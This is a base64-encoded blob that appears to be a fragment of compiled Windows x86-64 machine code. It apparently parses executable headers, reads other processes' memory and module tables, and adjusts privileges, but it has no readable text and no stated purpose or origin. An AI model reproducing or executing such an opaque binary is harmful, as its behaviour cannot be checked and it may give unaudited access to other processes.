lAMvb/FVpYBACFwHVw/xXQWgQAg/h6dWWLTCRQuAIAAABJx8T/////SPfhSQ9AxEiLyOiQdAIATI1MJFBIi9dMi8AzyUiL2P8VFlgEAIXAQA+VxkCE9nQdM8BJi8xIi/tm8q9Ii9NI99FMjUH/SIvN6Ip7//9Ii8voDp4CAEiLXCRASItsJEhAisZIg8QgQVxfXsNIiVwkEEiJdCQYSIl8JCBVQVRBVUFWQVdIi+xIgeyAAAAASIsFL+EFAEgzxEiJRfBIg024/0Uz/0yL8UWK7/8VbFoEAEyNRbhBjVcISIvI/xWDVwQAhcAPhEgBAABIi024SI1FsEGNXwOL00UzyUUzwESJfbBIiUQkIP8VYFcEAIXAD4UdAQAA/xXCWQQAg/h6D4UOAQAAi02w6JVzAgBEi02wSItNuEiL+EiNRbCL00yLx0iJRCQg/xUiVwQAhcBBD5XFRYTtD4TQAAAAQYv3RDk/D4bEAAAATI1nDLkoAAAA6BGeAgBIi9hIhcB0EkjHQBgHAAAATIl4EGZEiTjrA0mL34vGSIvTSI0MQEiNTI8E6C3+//+EwHRISI1NwEmDyf9FM8BIi9NIx0XYBwAAAEyJfdBmRIl9wOgVef//RYscJEiNVcBJi85EiV3o6OEBAABIg33YCHIJSItNwOidnAIASIXbdCdIg3sYCHIISIsL6ImcAgBIx0MYBwAAAEyJexBIi8tmRIk76HGcAgD/xkmDxAw7Nw+CQP///0iLz+hTnAIAQYrFSItN8EgzzOjclQIATI2cJIAAAABJi1s4SYtzQEmLe0hJi+NBX0FeQV1BXF3DzMzMSIlcJBBIiWwkGEiJdCQgV0FUQVVIg+wwSItRCEi7q6qqqqqqqipMi+lIKxFIi8NAMv9I9+pIwfoDSIvCSMHoP0gD0I0EUo0EhQQAAABIY8joB3ICAEmLTQhFM+RJK00ASIvwSIvDSPfpSMH6A0iLwkjB6D9IA9CJFkmLXQBJO10ID4SvAAAASI1uDEQ7JnNCSIN7GAhyBUiLE+sDSIvTS40MZEyNRI4EM8n/FWBVBACFwEAPlcdAhP90e4tDKEiDwzBB/8SJRQBIg8UMSTtdCHW5QIT/dF9Ig0wkUP//FfVXBABMjUQkUEiLyLogAAAA/xUKVQQAhcBAD5XHQIT/dDVIi0wkUEiDZCQoAEiDZCQgAEUzyUyLxjPS/xX4VAQAhcB0D/8VTlcEAIXAdQVAtwHrA0Ay/0iLzujqmgIASItcJFhIi2wkYEiLdCRoQIrHSIPEMEFdQVxfw8zMSIlcJAhXSIPsIEiL2UiLSQhIi/pIO9FzQUg5E3c8SCs7SLirqqqqqqqqKkj370iL+kjB/wNIi8dIweg/SAP4SDtLEHUISIvL6DcAAABIjRR/SMHiBEgDE+sRSDtLEHUISIvL6BwAAABIi9dIi0sI6CgCAABIg0MIMEiLXCQwSIPEIF/DSIPsKEiLUQhJuquqqqqqqqoqTIvJSCsRSYvCSPfqTIvCScH4A0mLwEjB6D9MA8BIuFRVVVVVVVUFTDvAdg1IjQ1LmwQA6ApuAgDMSItJEEmLwkn/wEkrCUj36UjB+gNIi8JIweg/SAPQTDvCdi5Ii8pIuFVVVVVVVVUFSNHpSCvBSDvCcwQz0usDSAPRSTvQSYvJSQ9C0OgIAAAASIPEKMPMzMxIi8RXQVRBVUFWQVdIg+xASMdEJCD+////SIlYCEiJcBhMi+JIi/FIuFVVVVVVVVUFSDvQdg1IjQ2vmgQA6G5tAgDMSItJEEgrDkm+q6qqqqqqqipJi8ZI9+lIwfoDSIvCSMHoP0gD0Ek71A+D6AAAAEUz/0GL/0yJfCR4TYXkdExLjQxkSMHhBOgOmgIASIv4SIlEJHhIhcB1MkyJfCR4SI1UJHhIjUwkKOitkwIATI0dDlsEAEyJXCQoSI0VirEFAEiNTCQo6LDNAgCQTIvHSItWCEiLDujYAAAAkEyLbghIix5Ji81IK8tJi8ZI9+lMi/JJwf4DSYvGSMHoP0wD8EiF23Qy6yNIg3sYCHIISIsL6I2YAgBIx0MYBwAAAEyJexBmRIk7SIPDMEk73XXYSIsO6GyYAgBLjQRkSMHgBEgDx0iJRhBLjQR2SMHgBEgDx0iJRghIiT5MjVwkQEmLWzBJi3NASYvjQV9BXkFdQVxfw8xIhcl0OEiJXCQIV0iD7CAzwEjHQRgHAAAASIv6SIlBEGaJAUiL2ejdhf//RItfKESJWyhIi1wkMEiDxCBfw8zMTIlEJBhTVldIg+wwSMdEJCD+////SYvYSIvySIv5SIlcJGhIO/50H0iL10iLy+iN////SIPDMEiJXCRgSIPHMEiJfCRQ69xIi8NIg8QwX15bw8zMSIlcJBhVVldBVEFVQVZBV0iNrCQw/v//SIHs0AIAAEiLBc7aBQBIM8RIiYXAAQAASIvyM9JIi9mNSgL/FYNUBABJg87/TIvgSTvGD4QLAgAASI1VgEiLyMdFgDgCAAD/FUdUBABFM+2FwA+E3wEAAEWNfghIhfZ0IEiDfhgIcgVIiw7rA0iLzkiNVazo36QCAIXAD4WhAQAAi0WASI19rEmLzolEJCCLRYRIjVWsiUQkJItFiEyJfCRoiUQkKEiLRZBMiWwkYEiJRCQwi0WYZkSJbCRQiUQkOItFnIlEJDyLRaCJRCRAi0WkiUQkRItFqIlEJEgzwGbyr0j30UyNQf9IjUwkUOj9c///TItDCEiNRCQgSTvAD4OPAAAASI1EJCBIOQMPh4EAAABIjUwkIEi4o4suuuiiiy5IKwtI9+lIi/pIwf8ESIvHSMHoP0gD+Ew7QxB1CEiLy+gtFAAASItLCEhr/1hIAztIhckPhLAAAACLB0iNVzCJAYtHBIlBBItHCIlBCEiLRxBIiUEQi0cYiUEYi0cciUEci0cgiUEgi0ckiUEki0co61lMO0MQdQhIi8vo0hMAAEiLSwhIhcl0YItEJCBIjVQkUIkBi0QkJIlBBItEJCiJQQhIi0QkMEiJQRCLRCQ4iUEYi0QkPIlBHItEJECJQSCLRCREiUEki0QkSIlBKEiDwTBNi85MiXkYTIlpEEUzwGZEiSnozXH//0iDQwhYSIN8JGgIcgpIi0wkUOhilQIASI1VgEmLzP8VdVIEAIXAD4Ul/v//SYvM/xWcUQQAsAHrAjLASIuNwAEAAEgzzOi/jgIASIucJCADAABIgcTQAgAAQV9BXkFdQVxfXl3DSIlcJAhIiWwkEEiJdCQYV0iD7CBIi+m5IAAAAEiL8kAy/+jllQIASIvYSIXAdBBIgyAASINgCABIg2AQAOsCM9tIi9ZIi8voLP3//4TAD4SFAAAATIsDSItLCEi4o4suuuiiiy5JK8hI9+lIwfoESIvCSMHoP0gD0EiD+gFAD5THQIT/dFNBiwBJjVAwSI1NMIlFAEGLQARJg8n/iUUEQYtACIlFCEmLQBBIiUUQQYtAGIlFGEGLQByJRRxBi0AgiUUgQYtAJIlFJEGLQChFM8CJRSjoj3D//0iF23QISIvL6BoAAABIi1wkMEiLbCQ4SIt0JEBAisdIg8QgX8PMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7CBIizlFM+RIi9lIhf90QUiLaQhIO/10MEiNd0hIgz4IcglIi07o6NGTAgBIxwYHAAAATIlm+EiDx1hmRIlm6EiDxlhIO/111EiLC+iskwIASIvLTIkjTIljCEyJYxDomZMCAEiLbCQ4SIt0JEBIi3wkSEiLw0iLXCQwSIPEIEFcw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7CBMi+G5IAAAAEmL2EiL8kAy7ehBlAIASIv4SIXAdBBIgyAASINgCABIg2AQAOsCM/9Ii9NIi8/oGAEAAITAdHtIix9IhfYPhbMAAACLA0iDzv9IjVMwQYkEJItDBEmNTCQwQYlEJASLQwhMi85BiUQkCItDDEUzwEGJRCQMi0MQQYlEJBBIi0MYSYlEJBiLQyBBiUQkIEiLQyhJiUQkKOgQb///SI1TWEmNTCRYTIvORTPA6Pxu//9AtQFIhf90dkiLH0iF23RYSIt3COtFSIN+GAhyBUiLFusDSIvWSIN7SAhyBkiLSzDrBEiNSzDoQaACAIXAD4RR////SIPrgEg7Xwh1yeu0SIvL6CkcAABIg+uASDvede9Iiw/oQJICAEiDJwBIg2cIAEiDZxAASIvP6CqSAgBIi1wkMEiLdCRASIt8JEhAisVIi2wkOEiDxCBBXMNIiVwkGEiJdCQgVVdBVEFWQVdIjawkEPz//0iB7PAEAABIiwU81QUASDPESImF4AMAAEUz5EiL2UiF0nQEixLrA0GL1LkYAAAA/xXlTgQASIvwSIP4/w+EQAIAAEiNVaBIi8jHRaA4BAAA/xW0TgQAhcAPhP0BAABJv/7///////8BSb7/////////AYtFoEiDyf9IjX3QiUQkIItFpEiNVdCJRCQki0WoSMdEJGgHAAAAiUQkKItFrEyJZCRgiUQkLItFsGZEiWQkUIlEJDBIi0W4SIlEJDiLRcCJRCRASItFyEiJRCRIM8Bm8q9I99FMjUH/SI1MJFDoem7//0iDyf8zwEiNvdABAABIjZXQAQAASMdFkAcAAABm8q9MiWWIZkSJZCR4SPfRTI1B/0iNTCR46EBu//9Ii1MISI1EJCBIO8JzekiNRCQgSDkDd3BIi0sQSI18JCBIKztIO9F1SkgrE0jB+gdJO9cPhxEBAABIKwtI/8JIwfkHSDvRditMi8FJi8ZJ0ehJK8BIO8FzBUmLzOsDSQPISDvKSA9CykiL0UiLy+ipEgAASItLCEiFyXRySIPngEgDO0iL1+thSItLEEg70XVKSCsTSMH6B0k71w+HtgAAAEgrC0j/wkjB+QdIO9F2K0iL+UmLxkjR70grx0g7wXMFSYvM6wNIA89IO8pID0LKSIvRSIvL6EESAABIi0sISIXJdApIjVQkIOjyFwAASINrCIBIg32QCHIKSItMJHjo0I8CAEiDfCRoCEjHRZAHAAAATIlliGZEiWQkeHIKSItMJFDorI8CAEiNVaBIi87/Fc9MBACFwA+FF/7//0iLzv8V5ksEALAB6xxIjQ3LkAQA6IpjAgDMSI0NvpAEAOh9YwIAzDLASIuN4AMAAEgzzOjviAIATI2cJPAEAABJi1tASYtzSEmL40FfQV5BXF9dw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVSIHs0AAAADPASIv5QYroSIkCSIlCCI1YaEiL8kiJQhBIjUwkYESLwzPSRYrp6MrtAgBMjWcQjUOaSYsMJIlcJGBI/8FI9+FIjUuXSA9AwUiLyOgJZQIASYsUJEg70kyLykiL2EwPQspIg38YCHIDSIs/TIvHSIvI6AudAgBNixwkM/9A9t1IjUwkYGZCiTxbG8CD4ASDyBBFhO10Q0iJdCRQSIlMJEhIiXwkQEiJfCQ4iUQkMEiNDTioBABEjU8CTI0F/acEAEiNFQ6oBABIiVwkKEiJfCQg/xVGSAQA6y1IiXQkSEiJTCRASIl8JDhIiXwkMIlEJChFM8lFM8BIi9MzyYl8JCD/FRdLBACFwEiLy0APlcfoCY4CAEyNnCTQAAAASYtbIEmLayhJi3MwQIrHSYvjQV1BXF/DzEiJXCQISIlsJBhWV0FUSIPsMEyL4TP/SIvyjU8w6MaOAgBIi9hIhcB0EESNRzAz0kiLyOiI7AIA6wNIi99Ii+5Ig/7/dQn/FVRKBABIi+hIjQ2CmwQA/xUUSgQASI0VlacEAEiLyP8V/EkEAEiFwHQ9SI1MJFhBuTAAAABMi8NIiUwkIEiLzTPS/9CFwHgfg3wkWDB1GEiLSwhMi85BuEACAABJi9ToLc///0CK+EiLy+g6jQIASItcJFBIi2wkYECKx0iDxDBBXF9ew0iJXCQgVVZXQVRBVUFWQVdIjWwk0EiB7DABAABIiwVZ0AUASDPESIlFKEUz9kmL2EyL6UiJTYhBjXZATIvii85IiVwkYEiJVZhFiv7oB2MCAEyLy0SLxkmLzUiL0EiL+EiJRZDoo87//4TAD4TGBQAAi9ZIi8//FahJBACFwA+FswUAALhNWgAAZjkHD4WlBQAAuQgBAADovGICAEhjTzxMi8tJA81BuAgBAABIi9BIi/BIiUWo6FHO//+EwA+EbAUAALoIAQAASIvO/xVTSQQAhcAPhVYFAACBPlBFAAAPhUoFAABEObaQAAAAD4Q9BQAAi4aUAAAAhcAPhC8FAACLyOhRYgIAi46QAAAARIuGlAAAAEkDzUyLy0iL0EiL+EiJRaDo483//4TAD4TyBAAAuhQAAABIi89Mi/f/FeJIBAAzyYXAQQ+Ux0SIfCRBRYT/D4TLBAAAOQ8PhMMEAABIi/NFM/+5CAAAAESJfCRE6ONhAgC5CAAAAEiL+EiJRCRI6NFhAgBBiw5IiUQkWDPARI1ACEyLzkiL10kDzUyJfCRoi9hIiUQkcEiJRCR46FjN//+EwA+EnQIAAEyLZCRgi/NBi04Qi3wkREiLVCRYSMHnA02LzEG4CAAAAEgDz0kDzegkzf//hMAPhFsCAABIi1QkSEiLCkiFyQ+ERQIAAEGLRhBIx0XgDwAAAEgDxzP/SQPFZol9wEiJfdhIiUWwSItEJFhAiH3ISIsASIlFuEi4AAAAAAAAAIBIhch0CWaJTcDp2gAAAECIfCRASo18KQIzyUiJTCRQTIlkJDBMjUwkUEiNl/8AAABMjUQkQEiLz8ZEJCgBSMdEJCABAAAA6ObN//+LTCRQK88z/4TAD4SNAAAASGP5SI1PBOi2YAIASItNiEyNRwRMi+hIi0QkSE2LzEiLAEmL1UgDyOhJzP//M/+EwHROSIPJ/0iJfRBAiH0ASY1VAjPASMdFGA8AAABIi/ryrkj30UyNQf9IjU0A6Eh0//9IjVUASI1NyOivxv//SIN9GBByCUiLTQDoD4oCADP/SYvN6P2JAgBMi22ISI1FsEg7w3NuSI1FsEw7+HdlSI19sEkr/0g73nUZSI1MJGjobQgAAEiLXCRwTIt8JGhIi3QkeEiD58Az0kkD/0iF2w+EiwAAAEiLB0iNSxhIiQNIi0cISIlDCA+3RxBmiUMQSIlREEjHQRgPAAAAiBFIjVcY61FIO951GUiNTCRo6A8IAABIi1wkcEyLfCRoSIt0JHhIhdt0OkiLRbBIjUsYSI1VyEiJA0iLRbhIiUMID7dFwGaJQxBIx0EYDwAAAEiJeRBAiDlJg8n/RTPA6CmI//+LfCRESIPDQP/HSIN94BBIiVwkcIl8JERyCUiLTcjoCokCAEGLBk2LzEG4CAAAAEmNTAUASI0M+UiLfCRISIvX6NDK//+EwA+Ff/3//+sKSIv66wVIi3wkSEyLZZhIi3QkYEiLTCRY6LmIAgBIi8/osYgCAEGLfgxFM/9JA/1IiXQkMEyNTCRQTI1EJEBIjZf/AAAASIvPxkQkKAFEiHwkQEyJfCRQSMdEJCABAAAA6MHL//+LTCRQK8+EwA+ERgEAAI1BAUhj+EiLz+iRXgIAQYtODEyLzkkDzUyLx0iL0EiL2Ogtyv//hMAPhBABAABIg8n/M8BIi/vyrkiL00jHRRgPAAAASPfRTIl9EESIfQBMjUH/SI1NAOgrcv//SI1VAEiNTbBIx0XIDwAAAEyJfcBEiH2w6ILE//9IjVQkaEiNTdjopBMAAE2LRCQISI1FsEk7wHNNSI1FsEk5BCR3Q0iNTbBIuDmO4ziO4zgOSSsMJEj36UiL+kjB/wJIi8dIweg/SAP4TTtEJBB1CEmLzOgjBwAASYsEJEiNDP9IjRTI6xNNO0QkEHUISYvM6AYHAABIjVWwSYtMJAjo/A4AAEmDRCQISEiNTdjoZQYAAEiDfcgQcglIi02w6E2HAgBIg30YEEjHRcgPAAAATIl9wESIfbByCUiLTQDoLYcCAEiLy+gdhwIASI1MJGhJg8YU6B8GAABFOT4PhVD7//9Ii3WoSIt9oESKfCRBSIvP6PGGAgBIi32QSIvO6OWGAgBIi8/o3YYCAEGKx0iLTShIM8zoZoACAEiLnCSIAQAASIHEMAEAAEFfQV5BXUFcX15dw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7CBAMv9Ji/BMi+KL6U2FwHU3QY1IIOh+hwIASIvYSIXAdBBIgyAASINgCABIg2AQAOsCM9sz0kiLy+jG7v//hMAPhIMAAADrA0mL2EiLE+sQOWoIQA+Ux0CE/3UMSIPCWEg7Uwh16utciwJJjUwkMEmDyf9BiQQki0IESIPCMEGJRCQEi0LYRTPAQYlEJAhIi0LgSYlEJBCLQuhBiUQkGItC7EGJRCQci0LwQYlEJCCLQvRBiUQkJItC+EGJRCQo6DBi//9IhfZ1DUiF23QISIvL6Lbx//9Ii1wkMEiLbCQ4SIt0JEBAisdIi3wkSEiDxCBBXMNIi8RIiVgQSIlwGEiJeCBVQVRBVUFWQVdIjWioSIHsMAEAAEiLBdrIBQBIM8RIiUUoTIs1zP8FAEiL2b5AAgAARTPki85FivzoV4YCAEiL+EiFwHQPRIvGM9JIi8joGuQCAOsDSYv8SYvWSIvP6Er3//+EwA+EswEAAEG9QAAAAEGLzegchgIASIvwSIXAdA9Fi8Uz0kiLyOjf4wIA6wNJi/RIi08YTYvOTYvFSIvW6ODG//+EwA+EaQEAAEiLRiBMi28YSIPoEEmDxRDpSwEAAEiNVCQgTYvOQbjIAAAASIvI6K3G//9EiviEwA+EIQEAAEiLTCRQSI1UJHhFM8lIiU3wi0wkYE2LxolN+EiNTQDoUgEAAEyLQwhIjUXwSTvAD4OPAAAASI1F8Eg5Aw+HggAAAEiNTfBIuCVJkiRJkiRJSCsLSPfpTIviScH8BEmLxEjB6D9MA+BMO0MQdQhIi8vodQQAAEiLSwhNa+Q4M9JMAyNIhcl0M0mLBCRJg8n/RTPASIkBQYtEJAhIg8EQiUH4SIlREEjHQRgHAAAAZokRSY1UJBDoVGD//0iDQwg4RTPk601MO0MQdQhIi8voGAQAAEiLSwhIhcl0MUiLRfBIjVUASYPJ/0iJAYtF+EiDwRCJQfhIx0EYBwAAAEyJYRBFM8BmRIkh6AJg//9Ig0MIOEiDfRgIcglIi00A6JmDAgBIi0QkMEiDwPBJO8UPhaz+//9Ii87of4MCAEiLz+h3gwIAQYrHSItNKEgzzOj4fAIATI2cJDABAABJi1s4SYtzQEmLe0hJi+NBX0FeQV1BXF3DzMzMQFVWV0iD7HBIiwWNxgUASDPESIlEJGAz7UiL8kjHQRgHAAAASIlpEEiL+WaJKUiNVCQwSIvOSIlsJDDoaAAAAITAdDlED7cGSItUJDBEjU0gSI1MJDjGRCQgAehELQAASIvPSIvQ6LFw//9Ig3wkUAhyCkiLTCQ46MeCAgBIOWwkMHQKSItMJDDoroICAEiLx0iLTCRgSDPM6DZ8AgBIg8RwX15dw8zMSIlcJAhIiWwkEEiJdCQYV0FUQVVIg+wgRTPtSYv5TYvgSIvqSIvZQYr1TDlpCHQ9ZkQ5KXY3D7dJAuiRWAIATYvMSIlFAEQPt0MCSItLCEiL0OgtxP//QIrwhMB0D0iF/3QKD7dTAkiLTQD/10iLXCRASItsJEhAisZIi3QkUEiDxCBBXUFcX8PMzMxIg+woSItRCEm6o4suuuiiiy5Mi8lIKxFJi8JI9+pMi8JJwfgESYvASMHoP0wDwEi4ueiiiy666AJMO8B2DUiNDRODBADo0lUCAMxIi0kQSYvCSf/ASSsJSPfpSMH6BEiLwkjB6D9IA9BMO8J2LkiLyki4uuiiiy666AJI0elIK8FIO8JzBDPS6wNIA9FJO9BJi8lJD0LQ6EgCAABIg8Qow8zMzEiD7ChMi0EISLj+////////A0yLyUwrAUnB+AZMO8B2DUiNDYyCBADoS1UCAMxIi1EQSf/ASCsRSMH6Bkw7wnYuSIvKSLj/////////A0jR6UgrwUg7wnMEM9LrA0gD0Uk70EmLyUkPQtDoZQQAAEiDxCjDSIlcJAhIiWwkEEiJdCQYV0iD7CBIizlIi9lIhf90QUiLaQhIO/10MEiNdzBIgz4QcglIi07o6L2AAgBIg2b4AEjHBg8AAABIg8dAxkboAEiDxkBIO/111EiLC+iYgAIASIMjAEiDYwgASINjEABIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMSIPsKEiLUQhJujmO4ziO4zgOTIvJSCsRSYvCSPfqTIvCScH4AkmLwEjB6D9MA8BIuI3jOI7jOI4DTDvAdg1IjQ13gQQA6DZUAgDMSItJEEmLwkn/wEkrCUj36UjB+gJIi8JIweg/SAPQTDvCdi5Ii8pIuI7jOI7jOI4DSNHpSCvBSDvCcwQz0usDSAPRSTvQSYvJSQ9C0OiABAAASIPEKMPMzMxIg+woSItRCEm6JUmSJEmSJElMi8lIKxFJi8JI9+pMi8JJwfgESYvASMHoP0wDwEi4kSRJkiRJkgRMO8B2DUiNDdOABADoklMCAMxIi0kQSYvCSf/ASSsJSPfpSMH6BEiLwkjB6D9IA9BMO8J2LkiLyki4kiRJkiRJkgRI0elIK8FIO8JzBDPS6wNIA9FJO9BJi8lJD0LQ6FAFAABIg8Qow8zMzEiLxFdBVEFVQVZBV0iD7EBIx0QkIP7///9IiVgISIlwGEiL2kiL8Ui4uuiiiy666AJIO9B2DUiNDTeABADo9lICAMxIi0kQSCsOSb2jiy666KKLLkmLxUj36UjB+gRIi8JIweg/SAPQSDvTD4PmAAAARTP/QYv/TIl8JHhIhdt0S0iLy0hryVjol38CAEiL+EiJRCR4SIXAdTJMiXwkeEiNVCR4SI1MJCjoNnkCAEyNHZdABABMiVwkKEiNFROXBQBIjUwkKOg5swIAkEyLx0iLVghIiw7oBQcAAJBMi3YITIsmSYvOSSvMSYvFSPfpTIvqScH9BEmLxUjB6D9MA+hNheR0OesqSYN8JEgIcgpJi0wkMOgTfgIAScdEJEgHAAAATYl8JEBmRYl8JDBJg8RYTTvmddFIiw7o7n0CAEhr21hIA99IiV4QTWvtWEwD70yJbghIiT5MjVwkQEmLWzBJi3NASYvjQV9BXkFdQVxfw8zMzEFUQVVBVkiD7EBIx0QkIP7///9IiVwkYEiJdCRwSIl8JHhIi9pIi/lIuP////////8BSDvQdg1IjQ3CfgQA6IFRAgDMSItBEEgrAUjB+AdIO8IPg60AAAAz9kiJdCRoSIXSdEtIi8pIweEH6EB+AgBIi/BIiUQkaEiFwHUySCFEJGhIjVQkaEiNTCQo6N93AgBMjR1APwQATIlcJChIjRW8lQUASI1MJCjo4rECAJBMi8ZIi1cISIsP6HoGAACQTIt3CEyLJ02L7k0r7E2F5HQb6wxJi8zotQYAAEmD7IBNO+Z170iLD+jMfAIASMHjB0gD3kiJXxBJg+WATAPuTIlvCEiJN0iLXCRgSIt0JHBIi3wkeEiDxEBBXkFdQVzDzEFUQVVBVkiD7EBIx0QkIP7///9IiVwkYEiJdCRwSIl8JHhIi9pIi/lIuP////////8DSDvQdg1IjQ2ifQQA6GFQAgDMSItBEEgrAUjB+AZIO8IPg8wAAAAz9kiJdCRoSIXSdEtIi8pIweEG6CB9AgBIi/BIiUQkaEiFwHUySCFEJGhIjVQkaEiNTCQo6L92AgBMjR0gPgQATIlcJChIjRWclAUASI1MJCjowrACAJBMi8ZIi1cISIsP6A4GAACQTIt3CEyLJ02L7k0r7E2F5HQ66ytJg3wkMBByCkmLTCQY6LN7AgBJx0QkMA8AAABJg2QkKABBxkQkGABJg8RATTvmddBIiw/ojXsCAEjB4wZIA95IiV8QSYPlwEwD7kyJbwhIiTdIi1wkYEiLdCRwSIt8JHhIg8RAQV5BXUFcw8zMQVRBVUFWSIPsQEjHRCQg/v///0iJXCRgSIl0JHBIiXwkeEyL4kiL8Ui4juM4juM4jgNIO9B2DUiNDWJ8BADoIU8CAMxIi0kQSCsOSb45juM4juM4DkmLxkj36UjB+gJIi8JIweg/SAPQSTvUD4PnAAAAM/9IiXwkaE2F5HRMS40M5EjB4QPoxXsCAEiL+EiJRCRoSIXAdTJIIUQkaEiNVCRoSI1MJCjoZHUCAEyNHcU8BABMiVwkKEiNFUGTBQBIjUwkKOhnrwIAkEyLx0iLVghIiw7oBwUAAJBMi24ISIseSYvNSCvLSYvGSPfpTIvyScH+AkmLxkjB6D9MA/BIhdt0O+ssSI1LKOhS+f//SIN7GBByCEiLC+g7egIASMdDGA8AAABIg2MQAMYDAEiDw0hJO911z0iLDugaegIAS40E5EiNDMdIiU4QS40E9kiNDMdIiU4ISIk+SItcJGBIi3QkcEiLfCR4SIPEQEFeQV1BXMPMSIvEV0FUQVVBVkFXSIPsQEjHRCQg/v///0iJWAhIiXAYSIvaSIvxSLiSJEmSJEmSBEg70HYNSI0N73oEAOiuTQIAzEiLSRBIKw5JvSVJkiRJkiRJSYvFSPfpSMH6BEiLwkjB6D9IA9BIO9MPg+YAAABFM/9Bi/9MiXwkeEiF23RLSIvLSGvJOOhPegIASIv4SIlEJHhIhcB1MkyJfCR4SI1UJHhIjUwkKOjucwIATI0dTzsEAEyJXCQoSI0Vy5EFAEiNTCQo6PGtAgCQTIvHSItWCEiLDujlAwAAkEyLdghMiyZJi85JK8xJi8VI9+lMi+pJwf0ESYvFSMHoP0wD6E2F5HQ56ypJg3wkKAhyCkmLTCQQ6Mt4AgBJx0QkKAcAAABNiXwkIGZFiXwkEEmDxDhNO+Z10UiLDuimeAIASGvbOEgD30iJXhBNa+04TAPvTIluCEiJPkyNXCRASYtbMEmLc0BJi+NBX0FeQV1BXF/DzMzMSIXJdHNIiVwkCFdIg+wgSINhEABIx0EYDwAAAEiL2cYBAEiNeijo1bT//0iDYzAASINjOABIg8MoSIMjAEg733QsSIvL6C73//9Mix9MiRtIi0cISIlDCEiLRxBIiUMQSIMnAEiDZwgASINnEABIi1wkMEiDxCBfw8zMzEiJXCQISIl8JBBBVEiD7CCLAkiL+UUz5IkBi0IESIPBMIlB1ItCCEiL2olB2ItCDEiDwjCJQdyLQuBJg8n/iUHgSItC6EUzwEiJQeiLQvCJQfBIi0L4SIlB+EjHQRgHAAAATIlhEGZEiSHo2VP//0iNT1hIx0EYBwAAAEyJYRBIjVNYSYPJ/0UzwGZEiSHotVP//0iLXCQwSIvHSIt8JDhIg8QgQVzDzEyJRCQYVldBVEiD7DBIx0QkIP7///9IiVwkWEmL2EiL8kiL+UiJXCRoRTPkSDv+D4SFAAAASIXbdGmLB4kDi0cEiUMEi0cIiUMISItHEEiJQxCLRxiJQxiLRxyJQxyLRyCJQyCLRySJQySLRyiJQyhIjUswSMdBGAcAAABMiWEQSIN5GAhyBUiLAesDSIvBZkSJIEiNVzBJg8n/RTPA6P1S//9Ig8NYSIlcJGBIg8dYSIl8JFDpcv///0iLw0iLXCRYSIPEMEFcX17DzEyJRCQYU1ZXSIPsMEjHRCQg/v///0mL2EiL8kiL+UiJXCRoSDv+dCRIhdt0C0iL10iLy+hU/v//SIPrgEiJXCRgSIPvgEiJfCRQ69dIi8NIg8QwX15bw8xIiVwkCFdIg+wgSIN5cAhIi9lyCUiLSVjoC3YCADP/SMdDcAcAAABIiXtoZol7WEiDe0gIcglIi0sw6Ol1AgBIx0NIBwAAAEiJe0BmiXswSItcJDBIg8QgX8PMzEyJRCQYU1ZXSIPsMEjHRCQg/v///0mL2EiL8kiL+UiJXCRoSDv+dB9Ii9dIi8voEQEAAEiDw0BIiVwkYEiDx0BIiXwkUOvcSIvDSIPEMF9eW8PMzEyJRCQYU1ZXSIPsMEjHRCQg/v///0mL2EiL8kiL+UiJXCRoSDv+dB9Ii9dIi8vo1fz//0iDw0hIiVwkYEiDx0hIiXwkUOvcSIvDSIPEMF9eW8PMzEyJRCQYVldBVEiD7DBIx0QkIP7///9IiVwkWEmL2EiL8kiL+UiJXCRoRTPkSDv+dFhIhdt0P0iLB0iJA4tHCIlDCEiNSxBIx0EYBwAAAEyJYRBIg3kYCHIFSIsB6wNIi8FmRIkgSI1XEEmDyf9FM8DoA1H//0iDwzhIiVwkYEiDxzhIiXwkUOujSIvDSItcJFhIg8QwQVxfXsPMzEiD7ChIhcl0OkiLAkmDyf9FM8BIiQFIi0IISIPBGEiJQfAPt0IQSIPCGGaJQfhIg2EQAEjHQRgPAAAAxgEA6EFz//9Ig8Qow0iJTCQIV0iD7EBIx0QkIP7///9IiVwkWEiJdCRgSIvySIv5SIMhAEiDYQgASINhEABIi1oISCsaSMH7BkiDIQBIg2EIAEiDYRAASIXbD4SLAAAASLj/////////A0g72HYNSI0NH3UEAOjeRwIAzDPASIXbdENIi8tIweEG6LZ0AgBIhcB1MkghRCRQSI1UJFBIjUwkKOhdbgIATI0dvjUEAEyJXCQoSI0VOowFAEiNTCQo6GCoAgDMSIkHSIlHCEjB4wZIA9hIiV8QTIsHSItWCEiLDugaAAAASIlHCEiLx0iLXCRYSIt0JGBIg8RAX8PMzMxIi8RMiUAYSIlQEEiJSAhTSIPsMEjHRCQg/v///0mL2EiJXCRYSItACEg7RCRIdCRIi9BIi8voif7//0iDw0BIiVwkUEiLRCRASIPAQEiJRCRA69VIi8NIg8QwW8PMzMxIiVwkGEiJdCQgVVdBVEiNbCS5SIHswAAAAEiLBSO2BQBIM8RIiUU3SIv6TIvhM9v/FQYvBACD+HoPhQ8BAACLD+jaSAIARIsPSYsMJEiJfCQgjXsETIvAi9dIi/D/FZksBACFwA+E2wAAAEiNRe9IjU0vRTPJSIlEJFCJXCRIiVwkQIlcJDiJXCQwRTPAsgGJXCQoiV0viVwkIGbHRTMAAUiJXe//FXEsBACFwA+EkwAAAESNQzBIjU3/M9Lo+tACAEiLRe9MjU3/SIlFJ0iNRedEjUMBSIlEJEBIjUX3M9JIiUQkOEiJdCQwM8lIiVwkKEjHRQMCAAAAx0X//QECAIlcJCCJXRvHRR8FAAAASIld5/8V2ysEAIXAdR9Mi0XnSYsMJIvX/xW/KwQASItN54XAD5XD/xXoLgQASItN7/8V3isEAEiLzuiWcQIAisNIi003SDPM6CBrAgBMjZwkwAAAAEmLWzBJi3M4SYvjQVxfXcNIiVwkCEiJdCQQV0iD7CBJizhMi8lIg8n/SYvYM8BAivJIixNm8q9I99FMjUH/SYvJ6K5O//9Iiwv/FXEuBABIi1wkMECKxkiLdCQ4SIPEIF/DzMxIi8RIiVgISIloEFZXQVRBVUFWSIPsUINgyACDYCAAQDLtSYv5TYvgTIvyTIvpTYXJdBFJg3kYCHIFSYsJ6wdJi8nrAjPJSI1EJERMjUwkQEUzwEiJRCQwSI2EJJgAAABJi9VIiUQkKEiDZCQgAP8VyCoEAIXAD4XmAAAA/xXyLAQAg/h6D4XXAAAAi0wkQI1YiIvDSI1r/Uj34UgPQMVIi8josUYCAIuMJJgAAABIi/CLw0j34UgPQMVIi8jolkYCAEiL2EiF/3Q